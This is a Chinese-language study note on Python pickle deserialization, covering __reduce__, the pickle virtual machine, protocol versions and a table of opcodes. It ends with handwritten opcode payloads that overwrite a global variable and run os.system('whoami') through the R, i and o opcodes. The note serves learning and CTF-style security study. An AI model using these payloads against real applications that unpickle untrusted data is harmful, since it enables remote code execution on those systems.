主要是记录一下opcode方便查

参考文章:pickle反序列化初探 - 先知社区 (aliyun.com)

这篇文章已经说的很详细了值得细品

pickle介绍

pickle就是python下一个用于进行序列化和反序列化的包,传输和存储数据更加灵活,是给python专用的。

  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

这里是一个简单的__reduce__()函数实例

import pickle

class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('whoami')",))
a = A()
print(pickle.dumps(a))
pickle.loads(pickle.dumps(a))

运行结果:

image-20240426222330298

opcode

opcode就是pickle的重点了,opcode能很大的增加我们执行命令的灵活性

  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

opcode版本

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。

import pickle
a={'1':1,'2':2}
for i in range(5):
print(f"pickle版本{i}",pickle.dumps(a,protocol=i))
输出:
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本4 b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x011\x94K\x01\x8c\x012\x94K\x02u.'

pickle3版本的opcode示例:

# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

同样用上面的个版本opcode版本示例

import pickle
import pickletools
a={'1':1,'2':2}
for i in range(5):
print(f"pickle版本{i}",pickletools.dis(pickle.dumps(a,protocol=i)))
#结果:
0: ( MARK
1: d DICT (MARK at 0)
2: p PUT 0
5: V UNICODE '1'
8: p PUT 1
11: I INT 1
14: s SETITEM
15: V UNICODE '2'
18: p PUT 2
21: I INT 2
24: s SETITEM
25: . STOP
highest protocol among opcodes = 0
pickle版本0 None
0: } EMPTY_DICT
1: q BINPUT 0
3: ( MARK
4: X BINUNICODE '1'
10: q BINPUT 1
12: K BININT1 1
14: X BINUNICODE '2'
20: q BINPUT 2
22: K BININT1 2
24: u SETITEMS (MARK at 3)
25: . STOP
highest protocol among opcodes = 1
pickle版本1 None
0: \x80 PROTO 2
2: } EMPTY_DICT
3: q BINPUT 0
5: ( MARK
6: X BINUNICODE '1'
12: q BINPUT 1
14: K BININT1 1
16: X BINUNICODE '2'
22: q BINPUT 2
24: K BININT1 2
26: u SETITEMS (MARK at 5)
27: . STOP
highest protocol among opcodes = 2
pickle版本2 None
0: \x80 PROTO 3
2: } EMPTY_DICT
3: q BINPUT 0
5: ( MARK
6: X BINUNICODE '1'
12: q BINPUT 1
14: K BININT1 1
16: X BINUNICODE '2'
22: q BINPUT 2
24: K BININT1 2
26: u SETITEMS (MARK at 5)
27: . STOP
highest protocol among opcodes = 2
pickle版本3 None
0: \x80 PROTO 4
2: \x95 FRAME 17
11: } EMPTY_DICT
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE '1'
17: \x94 MEMOIZE (as 1)
18: K BININT1 1
20: \x8c SHORT_BINUNICODE '2'
23: \x94 MEMOIZE (as 2)
24: K BININT1 2
26: u SETITEMS (MARK at 13)
27: . STOP
highest protocol among opcodes = 4
pickle版本4 None

那些符号就是opcode

手写opcode

上面的文章有动图可以更好地理解opcode,这里主要记录一些opcode,下表是佬的opcode表格,记录了各种opcode的用法

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

全局变量覆盖

有时候我们想要修改一些全局变量的值就可以编写opcode,如下:

import pickle
class test:
name="flag{fake}"
secret=test()
opcode='''c__main__
secret
(S'name'
S'flag{true}'
db.'''
print('before:'+secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:'+secret.name)

结果:

before:flag{fake}
output: <__main__.test object at 0x000001F6F7395648>
after:flag{true}

函数执行

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

  • R:

    import pickle
    opcode=b'''cos
    system
    (S'whoami'
    tR.'''
    pickle.loads(opcode)
  • i:

    import pickle
    opcode=b'''(S'whoami'
    ios
    system
    .'''
    pickle.loads(opcode)
  • o:

    import pickle
    opcode=b'''(cos
    system
    S'whoami'
    o.'''
    pickle.loads(opcode)

实例化对象

class Student:
def __init__(self, name, age):
self.name = name
self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)